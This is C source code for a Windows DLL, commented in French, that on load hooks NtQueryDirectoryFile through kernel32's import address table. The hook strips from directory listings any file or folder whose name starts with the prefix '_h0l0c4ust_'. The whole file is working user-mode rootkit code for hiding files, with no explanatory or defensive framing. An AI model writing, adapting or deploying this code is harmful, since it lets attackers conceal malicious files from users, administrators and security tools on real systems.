#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define STATUS_SUCCESS 0x00000000L typedef LONG NTSTATUS, *PNTSTATUS;
typedef struct _IO_STATUS_BLOCK {
union {
LONG Status;
PVOID Pointer;
};
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef VOID (NTAPI *PIO_APC_ROUTINE)
(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
);
typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1,
FileFullDirectoryInformation,
FileBothDirectoryInformation,
FileBasicInformation,
FileStandardInformation,
FileInternalInformation,
FileEaInformation,
FileAccessInformation,
FileNameInformation,
FileRenameInformation,
FileLinkInformation,
FileNamesInformation,
FileDispositionInformation,
FilePositionInformation,
FileFullEaInformation,
FileModeInformation,
FileAlignmentInformation,
FileAllInformation,
FileAllocationInformation,
FileEndOfFileInformation,
FileAlternateNameInformation,
FileStreamInformation,
FilePipeInformation,
FilePipeLocalInformation,
FilePipeRemoteInformation,
FileMailslotQueryInformation,
FileMailslotSetInformation,
FileCompressionInformation,
FileObjectIdInformation,
FileCompletionInformation,
FileMoveClusterInformation,
FileQuotaInformation,
FileReparsePointInformation,
FileNetworkOpenInformation,
FileAttributeTagInformation,
FileTrackingInformation,
FileIdBothDirectoryInformation,
FileIdFullDirectoryInformation,
FileValidDataLengthInformation,
FileShortNameInformation,
FileMaximumInformation
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;
typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
typedef struct _FILE_FULL_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
WCHAR FileName[1];
} FILE_FULL_DIRECTORY_INFORMATION, *PFILE_FULL_DIRECTORY_INFORMATION;
typedef struct _FILE_BOTH_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
UCHAR AlternateNameLength;
WCHAR AlternateName[12];
WCHAR FileName[1];
} FILE_BOTH_DIRECTORY_INFORMATION, *PFILE_BOTH_DIRECTORY_INFORMATION;
typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
typedef (__stdcall *NTQUERY)( HANDLE,HANDLE,PIO_APC_ROUTINE,PVOID,PIO_STATUS_BLOCK,PVOID,ULONG,FILE_INFORMATION_CLASS,BOOLEAN,PUNICODE_STRING,BOOLEAN);
PDWORD RetourneAddressFunctionAHook(char* FonctionAHook);
void PoseHookIAT(char* FonctionAHook , LPDWORD NouvelleAddrFunct);
NTSTATUS __stdcall myNtQueryDirectoryFile
(
HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG FileInformationLength,
FILE_INFORMATION_CLASS FileInformationClass,
BOOLEAN ReturnSingleEntry,
PUNICODE_STRING FileName,
BOOLEAN RestartScan
);
int DossierAvecPrefixe(char* prefix , long taille ,char* nomDossier);
BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) {
if(dwReason == DLL_PROCESS_ATTACH)
{
PoseHookIAT("NtQueryDirectoryFile" ,(LPDWORD)myNtQueryDirectoryFile);
}
return TRUE;
}
NTQUERY pNtQueryDirectoryFile ;
NTSTATUS __stdcall myNtQueryDirectoryFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,PVOID FileInformation,ULONG FileInformationLength,FILE_INFORMATION_CLASS FileInformationClass,BOOLEAN ReturnSingleEntry,PUNICODE_STRING FileName,BOOLEAN RestartScan)
{
char *hideMe = "_h0l0c4ust_" , nomDossierC[MAX_PATH];
NTSTATUS retour = pNtQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,FileInformationLength,FileInformationClass,ReturnSingleEntry,FileName,RestartScan);
if( (retour == STATUS_SUCCESS) &&
((FileInformationClass == FileDirectoryInformation) ||
(FileInformationClass == FileFullDirectoryInformation) ||
(FileInformationClass == FileBothDirectoryInformation) ||
(FileInformationClass == FileNameInformation))
)
{
ULONG nombreLettre , nextOffset = 1 , lastNextOffset = 0;
PVOID nomDossier = NULL , pointeurStructActuel = FileInformation , pointeurLastStruct = NULL;
PULONG pointeurAvantNextOffset = NULL ;
do
{
switch(FileInformationClass)
{
case FileDirectoryInformation :
if(pointeurLastStruct != NULL) {
pointeurAvantNextOffset = &(((PFILE_DIRECTORY_INFORMATION)pointeurLastStruct)->NextEntryOffset);
}
nombreLettre = ((PFILE_DIRECTORY_INFORMATION)pointeurStructActuel)->FileNameLength; nomDossier = ((PFILE_DIRECTORY_INFORMATION)pointeurStructActuel)->FileName; nextOffset = ((PFILE_DIRECTORY_INFORMATION)pointeurStructActuel)->NextEntryOffset; break;
case FileFullDirectoryInformation :
if(pointeurLastStruct != NULL)
{
pointeurAvantNextOffset = &(((PFILE_FULL_DIRECTORY_INFORMATION)pointeurLastStruct)->NextEntryOffset);
}
nombreLettre = ((PFILE_FULL_DIRECTORY_INFORMATION)pointeurStructActuel)->FileNameLength;
nomDossier = ((PFILE_FULL_DIRECTORY_INFORMATION)pointeurStructActuel)->FileName;
nextOffset = ((PFILE_FULL_DIRECTORY_INFORMATION)pointeurStructActuel)->NextEntryOffset;
break;
case FileBothDirectoryInformation :
if(pointeurLastStruct != NULL)
{
pointeurAvantNextOffset = &(((PFILE_BOTH_DIRECTORY_INFORMATION)pointeurLastStruct)->NextEntryOffset);
}
nombreLettre = ((PFILE_BOTH_DIRECTORY_INFORMATION)pointeurStructActuel)->FileNameLength;
nomDossier = ((PFILE_BOTH_DIRECTORY_INFORMATION)pointeurStructActuel)->FileName;
nextOffset = ((PFILE_BOTH_DIRECTORY_INFORMATION)pointeurStructActuel)->NextEntryOffset;
break;
case FileNameInformation :
if(pointeurLastStruct != NULL)
{
pointeurAvantNextOffset = &(((PFILE_NAMES_INFORMATION)pointeurLastStruct)->NextEntryOffset);
}
nombreLettre = ((PFILE_NAMES_INFORMATION)pointeurStructActuel)->FileNameLength;
nomDossier = ((PFILE_NAMES_INFORMATION)pointeurStructActuel)->FileName;
nextOffset = ((PFILE_NAMES_INFORMATION)pointeurStructActuel)->NextEntryOffset;
break;
}
memset(nomDossierC,'\0',sizeof(nomDossierC));
WideCharToMultiByte(CP_ACP, 0, nomDossier, nombreLettre/2, nomDossierC, sizeof(nomDossierC)-1, NULL, NULL);
if(DossierAvecPrefixe(hideMe,strlen(hideMe),nomDossierC))
{
memset(nomDossierC,'\0',sizeof(nomDossierC));
if( nextOffset == 0) {
*pointeurAvantNextOffset = 0;
break;
}
else if(pointeurLastStruct == NULL ) {
CopyMemory(pointeurStructActuel,(PULONG)((ULONG)pointeurStructActuel + nextOffset),FileInformationLength);
}
else {
lastNextOffset = lastNextOffset + nextOffset;
*pointeurAvantNextOffset = lastNextOffset;
pointeurStructActuel = (PVOID)((ULONG)pointeurStructActuel + nextOffset);
}
}
else {
lastNextOffset = nextOffset;
pointeurLastStruct = pointeurStructActuel;
pointeurStructActuel = (PVOID)((ULONG)pointeurStructActuel + nextOffset);
}
memset(nomDossierC,'\0',sizeof(nomDossierC));
}while(nextOffset != 0);
}
return retour;
}
void PoseHookIAT(char* FonctionAHook , LPDWORD NouvelleAddrFunct)
{
LPDWORD addrFunctAHook = RetourneAddressFunctionAHook(FonctionAHook);
DWORD accessProtectionValue , accessProtec;
pNtQueryDirectoryFile = (NTQUERY)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtQueryDirectoryFile");
int vProtect = VirtualProtect(addrFunctAHook,sizeof(LPDWORD),PAGE_EXECUTE_READWRITE,&accessProtectionValue);
*addrFunctAHook = (DWORD)NouvelleAddrFunct;
vProtect = VirtualProtect(addrFunctAHook,sizeof(LPDWORD),accessProtectionValue,&accessProtec);
}
LPDWORD RetourneAddressFunctionAHook(char* FonctionAHook)
{
HANDLE hdlExecutable = GetModuleHandle("kernel32.dll");
if(hdlExecutable == NULL)return 0;
PIMAGE_DOS_HEADER structPe = (PIMAGE_DOS_HEADER)hdlExecutable;
if(structPe->e_magic != IMAGE_DOS_SIGNATURE)return 0;
PIMAGE_NT_HEADERS structHeaderPe = (PIMAGE_NT_HEADERS)(structPe->e_lfanew + (DWORD)structPe);
PVOID ptrImgDirecto = (PVOID)structHeaderPe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
PIMAGE_IMPORT_DESCRIPTOR ptrImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)ptrImgDirecto + (DWORD)structPe);
while( (*(PDWORD)ptrImportDesc) != 0)
{
PIMAGE_THUNK_DATA32 imgThunk = (PIMAGE_THUNK_DATA32)(ptrImportDesc->OriginalFirstThunk + (DWORD)structPe);
PIMAGE_THUNK_DATA32 structAddrFu = (PIMAGE_THUNK_DATA32)(ptrImportDesc->FirstThunk + (DWORD)structPe);
while(*(PDWORD)imgThunk != 0)
{
PIMAGE_IMPORT_BY_NAME nameImg = (PIMAGE_IMPORT_BY_NAME)(imgThunk->u1.AddressOfData + (DWORD)structPe);
if(!strcmp((PCHAR)nameImg->Name,FonctionAHook))
{
return &(structAddrFu->u1.Function);
}
imgThunk++;
structAddrFu++;
}
ptrImportDesc++;
}
return 0;
}
int DossierAvecPrefixe(char* prefix , long taille ,char* nomDossier)
{
int i;
for( i = 0 ; i < taille ; i++)
{
if(nomDossier[i] != prefix[i])
{
return 0;
}
}
return 1;
}